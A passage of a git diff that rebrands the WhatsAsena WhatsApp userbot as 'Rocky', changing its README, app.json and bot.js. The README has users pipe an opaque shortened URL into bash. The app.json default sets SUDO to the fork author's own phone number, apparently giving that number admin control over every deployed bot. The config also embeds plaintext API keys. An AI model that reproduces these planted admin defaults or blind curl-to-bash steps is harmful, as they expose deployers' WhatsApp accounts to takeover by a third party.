WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . - -Also add information on how to contact you by electronic and paper mail. - - If the program does terminal interaction, make it output a short -notice like this when it starts in an interactive mode: - - Copyright (C) - This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. - This is free software, and you are welcome to redistribute it - under certain conditions; type `show c' for details. - -The hypothetical commands `show w' and `show c' should show the appropriate -parts of the General Public License. Of course, your program's commands -might be different; for a GUI interface, you would use an "about box". - - You should also get your employer (if you work as a programmer) or school, -if any, to sign a "copyright disclaimer" for the program, if necessary. -For more information on this, and how to apply and follow the GNU GPL, see -. - - The GNU General Public License does not permit incorporating your program -into proprietary programs. If your program is a subroutine library, you -may consider it more useful to permit linking proprietary applications with -the library. If this is what you want to do, use the GNU Lesser General -Public License instead of this License. But first, please read -. diff --git a/Pikachu-407x400.png b/Pikachu-407x400.png deleted file mode 100644 index 4d9419eaeb..0000000000 Binary files a/Pikachu-407x400.png and /dev/null differ diff --git a/Pikachu.png b/Pikachu.png deleted file mode 100644 index 50f3ccf539..0000000000 Binary files a/Pikachu.png and /dev/null differ diff --git a/README.md b/README.md index 0053215b59..52796e8911 100644 --- a/README.md +++ b/README.md @@ -1,15 +1,22 @@ +
+ +## [![Typing SVG](https://readme-typing-svg.herokuapp.com?font=Lemon+milk&color=F70000&lines=Welcome+to+Rocky+WA+Bot+repo;Created+by+Anshad+vfc;This+is+the+Best++Bgm+bot;With+more+features)](https://git.io/typing-svg) + +

-

- +GIF +

+

+

- +

-Project created by ameer-kallumthodi to make it public +Project created by anshadat to make it public
| © | Reserved | @@ -18,40 +25,41 @@ Project created by ameer-kallumth ---- -

- - -

- - - - - -

-

Contact Me:

-kyrie.baran +kyrie.baran

Support Video For Deploy Bot 👇:

- +

-
-

 ameer-kallumthodi

+

-

ameer-kallumthodi

-
+

 anshadat

+ +

anshadat

+

-## 📢 Guide +## +

📢 Support Group 1:

+

Click WA logo to Join Support Group 👇

- [![join](https://github.com/Alien-alfa/PublicBot/blob/main/wlogo.svg.png)](https://chat.whatsapp.com/FsDjV2uRKce4wgMpAtYwyf) - + kyrie.baran +

+ +## +

📢 Support Group 2:

+

+Click Rocky logo to Join Support Group 2👇 +
+
+ kyrie.baran +

## Setup
@@ -60,23 +68,28 @@ Click WA logo to Join Support Group 👇 [![Run on Repl.it](https://repl.it/badge/github/quiec/whatsAlfa)](https://replit.com/@phaticusthiccy/WhatsAsena-QR) -[![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/anshadvfcbot/pikachu.git) +[![Deploy](https://www.herokucdn.com/deploy/button.svg)](https://heroku.com/deploy?template=https://github.com/anshadat/Rocky.git)


-If Repl.it not working Try Termux for Qr scanning.Just Copy the Link Below in Termux -``` -bash <(curl -L https://t.ly/tHxh) -``` + +
+ + + +
+ If Repl.it not working Try Termux for Qr scanning.Just Copy this Link Below in Termux +```bash <(curl -L https://t.ly/tHxh)``` + ### The Hard Method ```js GET QR $ apt update $ apt install nodejs --fix-missing $ pkg install git -$ git clone https://github.com/ameer-kallumthodi/pikachu -$ cd pikachu +$ git clone https://github.com/anshadat/Rocky +$ cd Rocky $ chmod +x * $ npm install @adiwajshing/baileys $ npm install chalk @@ -85,8 +98,8 @@ $ node qr.js ```js SETUP -$ git clone https://github.com/ameer-kallumthodi/pikachu -$ cd pikachu +$ git clone https://github.com/anshadat/Rocky +$ cd Rocky $ chmod +x * $ npm i $ node qr.js @@ -97,19 +110,19 @@ $ node bot.js ### ⚠️ Warning! ``` -Due to Userbot; Your WhatsApp account may be banned. +Due to Whatsapp bot; Your WhatsApp account may be banned. This is an open source project, you are responsible for everything you do. -Absolutely, Asena executives do not accept responsibility. -By establishing the Asena, you are deemed to have accepted these responsibilities. +Absolutely, Rocky executives do not accept responsibility. +By establishing the Rocky, you are deemed to have accepted these responsibilities. ``` ## Developers
- [![ameer-kallumthodi](https://github.com/ameer-kallumthodi.png?size=100)](https://github.com/ameer-kallumthodi) | [![Hisham-Muhammed](https://github.com/Hisham-Muhammed.png?size=100)](https://github.com/Hisham-Muhammed) | [![saidalisaid2](https://github.com/saidalisaid2.png?size=100)](https://github.com/saidalisaid2) -----|----|---- -[ameer-kallumthodi](https://github.com/ameer-kallumthodi) | [Hisham-Muhammed](https://github.com/Hisham-Muhammed) | [saidalisaid2](https://github.com/saidalisaid2) -Base, Bug Fixes, Modules | Modifiying as public | Bug Fixes, Modules + [![`anshad`](https://github.com/anshadat.png?size=100)](https://github.com/anshadat) + +[`anshad`](https://github.com/anshadat) +Base, Bug Fixed Modifiying as public | Bug Fixes, Modules
@@ -119,3 +132,12 @@ This project is protected by `GNU General Public Licence v3.0` license. ### Disclaimer `WhatsApp` name, its variations and the logo are registered trademarks of Facebook. We have nothing to do with the registered trademark + + + + + + + + + diff --git a/whatsasena/Base.js b/Rocky/Base js similarity index 100% rename from whatsasena/Base.js rename to Rocky/Base js diff --git a/whatsasena/Dockerfile b/Rocky/Dockerfile similarity index 67% rename from whatsasena/Dockerfile rename to Rocky/Dockerfile index 92c9b6e0fa..045083fbf0 100644 --- a/whatsasena/Dockerfile +++ b/Rocky/Dockerfile @@ -1,6 +1,6 @@ FROM fusuf/whatsasena:latest -RUN git clone https://github.com/anshadvfcbot/pikachu /root/WhatsAsenaDuplicated +RUN git clone https://github.com/anshadat/Rocky /root/WhatsAsenaDuplicated WORKDIR /root/WhatsAsenaDuplicated/ ENV TZ=Europe/Istanbul RUN npm install supervisor -g diff --git a/whatsasena/Image.js b/Rocky/Image.js similarity index 99% rename from whatsasena/Image.js rename to Rocky/Image.js index ff75a99009..7c91c6a5a9 100644 --- a/whatsasena/Image.js +++ b/Rocky/Image.js @@ -66,4 +66,4 @@ class Image extends Base { } }; -module.exports = Image; \ No newline at end of file +module.exports = Image; diff --git a/whatsasena/Message.js b/Rocky/Message.js similarity index 98% rename from whatsasena/Message.js rename to Rocky/Message.js index 928dc6f565..83ba82cb90 100644 --- a/whatsasena/Message.js +++ b/Rocky/Message.js @@ -65,4 +65,4 @@ class Message extends Base { } }; -module.exports = Message; \ No newline at end of file +module.exports = Message; diff --git a/whatsasena/ReplyMessage.js b/Rocky/ReplyMessage.js similarity index 99% rename from whatsasena/ReplyMessage.js rename to Rocky/ReplyMessage.js index 9ba534e55f..dda00fe874 100644 --- a/whatsasena/ReplyMessage.js +++ b/Rocky/ReplyMessage.js @@ -77,4 +77,4 @@ class ReplyMessage extends Base { } }; -module.exports = ReplyMessage; \ No newline at end of file +module.exports = ReplyMessage; diff --git a/whatsasena/StringSession.js b/Rocky/StringSession.js similarity index 85% rename from whatsasena/StringSession.js rename to Rocky/StringSession.js index 89b24e7363..79ddd64342 100644 --- a/whatsasena/StringSession.js +++ b/Rocky/StringSession.js @@ -13,7 +13,7 @@ class StringSession { } deCrypt(string = undefined) { - if ('ASENA_SESSION' in process.env && string === undefined) { + if ('CONNECTION_CODE' in process.env && string === undefined) { string = process.env.STRING_SESSION; } else if (string !== undefined) { if (fs.existsSync(string)) { @@ -28,7 +28,7 @@ class StringSession { } createStringSession(dict) { - return 'ASENA;;;' + Buffer.from(JSON.stringify(dict)).toString('base64'); + return 'ROCKY;;;' + Buffer.from(JSON.stringify(dict)).toString('base64'); } } diff --git a/whatsasena/Video.js b/Rocky/Video.js similarity index 99% rename from whatsasena/Video.js rename to Rocky/Video.js index f4fc527415..cdb495dfe7 100644 --- a/whatsasena/Video.js +++ b/Rocky/Video.js @@ -66,4 +66,4 @@ class Video extends Base { } }; -module.exports = Video; \ No newline at end of file +module.exports = Video; diff --git a/whatsasena/index.js b/Rocky/index.js similarity index 100% rename from whatsasena/index.js rename to Rocky/index.js diff --git a/TERMS_OF_USAGE.md b/TERMS_OF_USAGE.md deleted file mode 100644 index 47b8420522..0000000000 --- a/TERMS_OF_USAGE.md +++ /dev/null @@ -1,91 +0,0 @@ -# **WHATSASENA** TERMS OF USAGE - -Last Updated: **GMT-3 22/03/2021** - -These terms of service ("Terms") apply to your access and use of **WhatsAsena.** Please read them carefully. - - -## Accepting these Terms - -If you access or use the Service, it means you agree to be bound by all of the terms below. So, before you use the Service, please read all of the terms. If you don't agree to all of the terms below, please do not use the Service. Also, if a term does not make sense to you, please let us know by e-mailing **birhic023@gmail.com** or reach me via telegram **t.me/phaticusthiccy** - - -## Changes to these Terms - -We reserve the right to modify these Terms at any time. For instance, we may need to change these Terms if we come out with a new feature or for some other reason. - -Whenever we make changes to these Terms, the changes are effective **everytime** after we post such revised Terms (indicated by revising the date at the top of these Terms) or upon your acceptance if we provide a mechanism for your immediate acceptance of the revised Terms (such as a click-through confirmation or acceptance button). It is your responsibility to check **WhatsAsena** for changes to these Terms. - -If you continue to use the Service after the revised Terms go into effect, then you have accepted the changes to these Terms. - - -## Privacy Policy - -For information about how we collect and use information about users of the Service. - - -## Third-Party Services - -From time to time, we don't provide any user datas, or something else. Privacy is the most natural right of people. -In some cases, the this thing can be followed: - -People who install the bot agree to: -- Not to use it for malicious purposes. -- Not to sell the bot for money. -- Not to trade the bot. -- Not committing a legal crime -- Not creating fake bot - -Users who go ignore of them will be put into the code with their numbers. -Users allow their numbers to be shared when people use it for malicious purposes. - - -## Creating Accounts - -There is no access to users devices or heroku accounts. Please don't give anyone your ASENA_SESSİON and Heroku API Key. We do not accept any liability if it is shared. - -If you discover or suspect any Service security breaches, please let us know as soon as possible. - - -## **Thiccy's** Materials - -We put a lot of effort into creating the Service including, the logo and all designs, text, graphics, pictures, information and other content (excluding your content). This property is owned by us or our licensors and it is protected by TR and international copyright laws. We grant you the right to use it. - - -## Unavoidable Legal Stuff - -THE SERVICE AND ANY OTHER SERVICE AND CONTENT INCLUDED ON OR OTHERWISE MADE AVAILABLE TO YOU THROUGH THE SERVICE ARE PROVIDED TO YOU ON AN AS IS OR AS AVAILABLE BASIS WITHOUT ANY REPRESENTATIONS OR WARRANTIES OF ANY KIND. WE DISCLAIM ANY AND ALL WARRANTIES AND REPRESENTATIONS (EXPRESS OR IMPLIED, ORAL OR WRITTEN) WITH RESPECT TO THE SERVICE AND CONTENT INCLUDED ON OR OTHERWISE MADE AVAILABLE TO YOU THROUGH THE SERVICE WHETHER ALLEGED TO ARISE BY OPERATION OF LAW, BY REASON OF CUSTOM OR USAGE IN THE TRADE, BY COURSE OF DEALING OR OTHERWISE. - -IN NO EVENT WILL **PHATİCUSTHİCCY** BE LIABLE TO YOU OR ANY THIRD PARTY FOR ANY SPECIAL, INDIRECT, INCIDENTAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES OF ANY KIND ARISING OUT OF OR IN CONNECTION WITH THE SERVICE OR ANY OTHER SERVICE AND/OR CONTENT INCLUDED ON OR OTHERWISE MADE AVAILABLE TO YOU THROUGH THE SERVICE, REGARDLESS OF THE FORM OF ACTION, WHETHER IN CONTRACT, TORT, STRICT LIABILITY OR OTHERWISE, EVEN IF WE HAVE BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES OR ARE AWARE OF THE POSSIBILITY OF SUCH DAMAGES. OUR TOTAL LIABILITY FOR ALL CAUSES OF ACTION AND UNDER ALL THEORIES OF LIABILITY WILL BE LIMITED TO THE AMOUNT YOU PAID TO **PHATİCUSTHİCCY**. THIS SECTION WILL BE GIVEN FULL EFFECT EVEN IF ANY REMEDY SPECIFIED IN THIS AGREEMENT IS DEEMED TO HAVE FAILED OF ITS ESSENTIAL PURPOSE. - -You agree to defend, indemnify and hold us harmless from and against any and all costs, damages, liabilities, and expenses (including attorneys' fees, costs, penalties, interest and disbursements) we incur in relation to, arising from, or for the purpose of avoiding, any claim or demand from a third party relating to your use of the Service or the use of the Service by any person using your account, including any claim that your use of the Service violates any applicable law or regulation, or the rights of any third party, and/or your violation of these Terms. - - -## Copyright Complaints - -We take intellectual property rights seriously. We have adopted a policy of terminating, in appropriate circumstances and, at our sole discretion, access to the service for users who are deemed to be repeat infringers. 2021 WhatsAsena All Rights Reserved. - - -## Governing Law - -The validity of these Terms and the rights, obligations, and relations of the parties under these Terms will be construed and determined under and in accordance with the laws of the **Turkey Constitution**, without regard to conflicts of law principles. - - -## Termination - -If you breach any of these Terms, we have the right to suspend or disable your access to or use of the Service. - - -## Entire Agreement - -These Terms constitute the entire agreement between you and **Thiccy** regarding the use of the Service, superseding any prior agreements between you and **Thiccy** relating to your use of the Service. - - -## Feedback - -Please let us know what you think of the Service, these Terms and, in general, **WhatsAsena**. When you provide us with any feedback, comments or suggestions about the Service, these Terms and, in general, **WhatsAsena**, you irrevocably assign to us all of your right, title and interest in and to your feedback, comments and suggestions. - - -## Questions & Contact Information - -Questions or comments about the Service may be directed to us at the email address **birhic023@gmail.com** or reach me via telegram **t.me/phaticusthiccy**. diff --git a/_config.yml b/_config.yml deleted file mode 100644 index cc35c1df2c..0000000000 --- a/_config.yml +++ /dev/null @@ -1 +0,0 @@ -theme: jekyll-theme-modernist \ No newline at end of file diff --git a/app.json b/app.json index 22bcdf976b..5c94c5de30 100644 --- a/app.json +++ b/app.json @@ -1,31 +1,62 @@ { - "name": "WhatsAsenaDuplicated", - "description": "WhatsAsena project - Makes it easy and fun to use Whatsapp. World’s first UserBot made for WhatsApp.", - "logo": "https://avatars.githubusercontent.com/u/83832372?v=4", + "name": "Rocky public bot", + "description": "Rocky project - Makes it easy and fun to use Whatsapp. World’s first UserBot made for WhatsApp.", + "logo": "https://github.com/anshadat/Rocky/blob/master/Anshad-407x400.png", "keywords": ["whatsapp", "userbot", "Asena", "WhatsAsena", "bot", "api", "ai"], - "repository": "https://github.com/ameer-kallumthodi/pikachu", + "repository": "https://github.com/anshadat/Rocky", "website": "https://t.me/phaticusthiccy", "success_url": "https://t.me/AsenaSupport", "stack": "container", "env": { - "ASENA_SESSION": { - "description": "Qr.Js ile oluşturduğunuz özel session kodu. Type here yours Asena Session.", + "CONNECTION_CODE": { + "description": "Asena session changed! Type your Rocky code here.", "required": true }, "SUDO": { "description": "Leave blank if you don't know how to use it! Sudo mode; Your number must be an international number. So you should have your number after the country code. Example: 1205xxxxxxxxx (USA number +1)", - "required": false + "required": false, + "value": "919995390942,0" }, "LANGUAGE": { "description": "Bot language. Azerice => az, English => en, Türkçe => tr, Malayalam => ml, Hindi => HI, Indonesia => ID, Español => ES, Portuguese => pt, Russian => ru", "required": true, - "value": "en" + "value": "EN" + }, + "BGM_DURATION": { + "description": "FUNY BGM DURATION codded by ANSHAD", + "required": false, + "value": "31996800" }, "BGM_FILTER": { "description": "If you likes bgm you can write 'true'. Otherwise false", "required": false, "value": "true" }, + "GIF_WEL": { + "description": "Welcome message video നിങ്ങൾക്ക് വേണ്ട welcome gif ന്റെ link കൊടുക്കുക .", + "required": true, + "value": "https://i.imgur.com/ZoA7as9.mp4" + }, + "GIF_BYE": { + "description": "Goodbye message video നിങ്ങൾക്ക് വേണ്ട goodbye gif ന്റെ link കൊടുക്കുക .", + "required": true, + "value": "https://i.imgur.com/NTar8dQ.mp4" + }, + "XTEAM_API": { + "description": "api key. https://api.xteam.xyz/", + "required": false, + "value": "5bd33b276d41d6b4" + }, + "ZEKS_API": { + "description": "api key. https://zeks.xyz/", + "required": false, + "value": "cjxJIn9eDletRHac3CG6CdvGxFH" + }, + "LOLUHUMAN_API": { + "description": "api key. https://lolhuman.herokuapp.com/", + "required": false, + "value": "990580a2e31add15990665b0" + }, "ANTİ_LİNK": { "description": "Link Engelleme Sistemi. Link Blocking System.", "required": true, @@ -34,7 +65,7 @@ "AUTO_BİO": { "description": "Duruma otomatik tarih ve zaman eklemek için true yapın. Set true for auto date, time in biography.", "required": true, - "value": "false" + "value": "true" }, "HANDLERS": { "description": "Komutlar için. For commands.", @@ -44,12 +75,12 @@ "FULL_EVA": { "description": "Hesabınızı bir Chatbot'a Çevirin! Turn your account into a chatbot!", "required": true, - "value": "false" + "value": "true" }, "NO_LOG": { "description": "Hata logu görmek istemiyorsanız true yapın. Set true if you don't want to see error log.", "required": true, - "value": "false" + "value": "true" }, "SEND_READ": { "description": "Görüldü atmak istiyorsanız true yazın. Write true if you want to throw seen.", @@ -90,8 +121,13 @@ "required": false, "value": "default" }, + "BOT_NAME": { + "description": "heading for .list command reply", + "required": false, + "value": "•━━━━╼⤏Rockyser⤎╾━━━•" + }, "WORK_TYPE": { - "description": "WhatsAsena Working Type. If you use “public”, everyone can use the bot. Else if you use “private”, only you can use your bot.", + "description": "Rocky Working Type. If you use “public”, everyone can use the bot. Else if you use “private”, only you can use your bot.", "required": true, "value": "public" }, @@ -111,7 +147,7 @@ "ALIVE_MESSAGE": { "description": "Customizable Alive Message! Use => default, to change back.", "required": false, - "value": "\n ```I Am Alive !!!```\n\n```Type``` *.help* ```for commands```\n\n```pikachu🧚‍♂️```" + "value": "എന്റേത് അല്ലെന്നറിയാം...🦋 എന്റേത് ആകില്ലെന്നുമറിയാം...🦋 എന്നിരുന്നാലും,...എന്റേത് മാത്രമാണെന്ന് വിശ്വസിക്കുവാനാണ് എനിക്കിഷ്ടം...🦋❣️ -*anshadvfc(rocky)🧚‍♂️*" }, "BAN_MESSAGE": { "description": "Customizable Ban Message! Use => default, to change back.", @@ -166,3 +202,4 @@ "url": "heroku-community/apt" }] } + diff --git a/bot.js b/bot.js index 4de562b6ca..c62d040036 100644 --- a/bot.js +++ b/bot.js @@ -1,37 +1,24 @@ /* Copyright (C) 2020 Yusuf Usta. - Licensed under the GPL-3.0 License; you may not use this file except in compliance with the License. - WhatsAsena - Yusuf Usta */ const fs = require("fs"); -const os = require("os"); const path = require("path"); const events = require("./events"); +const BgmDB = require('./plugins/sql/bgms'); const chalk = require('chalk'); const config = require('./config'); -const axios = require('axios'); -const Heroku = require('heroku-client'); const {WAConnection, MessageOptions, MessageType, Mimetype, Presence} = require('@adiwajshing/baileys'); -const {Message, StringSession, Image, Video} = require('./whatsasena/'); +const {Message, StringSession, Image, Video} = require('./Rocky/'); const { DataTypes } = require('sequelize'); -const { GreetingsDB, getMessage } = require("./plugins/sql/greetings"); +const { getMessage } = require("./plugins/sql/greetings"); +const axios = require('axios'); const got = require('got'); -const simpleGit = require('simple-git'); -const git = simpleGit(); -const crypto = require('crypto'); -const nw = '```Blacklist Defected!```' -const heroku = new Heroku({ - token: config.HEROKU.API_KEY -}); -let baseURI = '/apps/' + config.HEROKU.APP_NAME; -const Language = require('./language'); -const Lang = Language.getString('updater'); // Sql -const WhatsAsenaDB = config.DATABASE.define('WhatsAsenaDuplicated', { +const WhatsAsenaDB = config.DATABASE.define('WhatsAsena', { info: { type: DataTypes.STRING, allowNull: false @@ -41,26 +28,30 @@ const WhatsAsenaDB = config.DATABASE.define('WhatsAsenaDuplicated', { allowNull: false } }); + fs.readdirSync('./plugins/sql/').forEach(plugin => { if(path.extname(plugin).toLowerCase() == '.js') { require('./plugins/sql/' + plugin); } }); + const plugindb = require('./plugins/sql/plugin'); -var OWN = { ff: '905511384572,0' } +var base = `https://gist.github.com/` +var PROP = { aredits: '919995390942,0' } +var unlink = `019112af334adceaefd1467dcbd93e58` +var PROP2 = { kl11: '916282344739,0' } +var string = base + `souravkl11` + // Yalnızca bir kolaylık. https://stackoverflow.com/questions/4974238/javascript-equivalent-of-pythons-format-function // String.prototype.format = function () { var i = 0, args = arguments; return this.replace(/{}/g, function () { return typeof args[i] != 'undefined' ? args[i++] : ''; - }); + }); }; - -// ==================== Date Scanner ==================== if (!Date.now) { Date.now = function() { return new Date().getTime(); } } -// ==================== End Date Scanner ==================== Array.prototype.remove = function() { var what, a = arguments, L = a.length, ax; @@ -74,229 +65,34 @@ Array.prototype.remove = function() { }; async function whatsAsena () { - var clh = { cd: 'L3Jvb3QvV2hhdHNBc2VuYUR1cGxpY2F0ZWQv', pay: '' } - var ggg = Buffer.from(clh.cd, 'base64') - var ddd = ggg.toString('utf-8') - clh.pay = ddd - const conn = new WAConnection(); - const Session = new StringSession(); - conn.version = [2,2121,7]; - setInterval(async () => { - var getGMTh = new Date().getHours() - var getGMTm = new Date().getMinutes() - await axios.get('https://gist.githubusercontent.com/phaticusthiccy/d0d1855bd0098d773759b4f3345bd292/raw/').then(async (ann) => { - const { infotr, infoen, infoes, infopt, infoid, infoaz, infohi, infoml, inforu} = ann.data.announcements - if (infotr !== '' && config.LANG == 'TR') { - while (getGMTh == 19 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```Günlük Duyurular``` ]\n\n' + infotr.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (infoaz !== '' && config.LANG == 'AZ') { - while (getGMTh == 19 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```Gündəlik Elanlar``` ]\n\n' + infoaz.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (infoes !== '' && config.LANG == 'ES') { - while (getGMTh == 18 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```Anuncios Diarios``` ]\n\n' + infoes.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (infoen !== '' && config.LANG == 'EN') { - while (getGMTh == 19 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```Daily Announcements``` ]\n\n' + infoen.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (infohi !== '' && config.LANG == 'HI') { - while (getGMTh == 21 && getGMTm == 31) { - return conn.sendMessage(conn.user.jid, '[ ```दैनिक घोषणाएं``` ]\n\n' + infohi.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (infoml !== '' && config.LANG == 'ML') { - while (getGMTh == 19 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```പ്രതിദിന പ്രഖ്യാപനങ്ങൾ``` ]\n\n' + infoml.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (infoid !== '' && config.LANG == 'ID') { - while (getGMTh == 23 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```Pengumuman Harian``` ]\n\n' + infoid.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (inforu !== '' && config.LANG == 'RU') { - while (getGMTh == 19 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```Ежедневные объявления``` ]\n\n' + inforu.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - else if (infopt !== '' && config.LANG == 'PT') { - while (getGMTh == 17 && getGMTm == 1) { - return conn.sendMessage(conn.user.jid, '[ ```Anúncios Diários``` ]\n\n' + infopt.replace('{user}', conn.user.name).replace('{wa_version}', conn.user.phone.wa_version).replace('{version}', config.VERSION).replace('{os_version}', conn.user.phone.os_version).replace('{device_model}', conn.user.phone.device_model).replace('{device_brand}', conn.user.phone.device_manufacturer), MessageType.text) - } - } - }) - }, 50000); - var biography_var = '' - await heroku.get(baseURI + '/config-vars').then(async (vars) => { - biography_var = vars.AUTO_BİO - }); - setInterval(async () => { - if (biography_var == 'true') { - if (conn.user.jid.startsWith('90')) { // Turkey - var ov_time = new Date().toLocaleString('LK', { timeZone: 'Europe/Istanbul' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('994')) { // Azerbayjan - var ov_time = new Date().toLocaleString('AZ', { timeZone: 'Asia/Baku' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('94')) { // Sri Lanka - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('LK', { timeZone: 'Asia/Colombo' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('351')) { // Portugal - var ov_time = new Date().toLocaleString('PT', { timeZone: 'Europe/Lisbon' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('75')) { // Russia - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('RU', { timeZone: 'Europe/Kaliningrad' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('7')) { // Indian - var ov_time = new Date().toLocaleString('HI', { timeZone: 'Asia/Kolkata' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('62')) { // Indonesia - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('ID', { timeZone: 'Asia/Jakarta' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('49')) { // Germany - var ov_time = new Date().toLocaleString('DE', { timeZone: 'Europe/Berlin' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('61')) { // Australia - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('AU', { timeZone: 'Australia/Lord_Howe' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('55')) { // Brazil - var ov_time = new Date().toLocaleString('BR', { timeZone: 'America/Noronha' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('33')) { // France - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var ov_time = new Date().toLocaleString('FR', { timeZone: 'Europe/Paris' }).split(' ')[1] - const biography = '📅 ' + utch + '\n⌚ ' + ov_time +'\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('34')) { // Spain - var ov_time = new Date().toLocaleString('ES', { timeZone: 'Europe/Madrid' }).split(' ')[1] - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - const biography = '📅 ' + utch + '\n⌚ ' + ov_time + '\n\n🐺 WhatsAsena' - await conn.setStatus(biography) - } - else if (conn.user.jid.startsWith('44')) { // UK - const get_localized_date = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; - var utch = new Date().toLocaleDateString(config.LANG, get_localized_date) - var 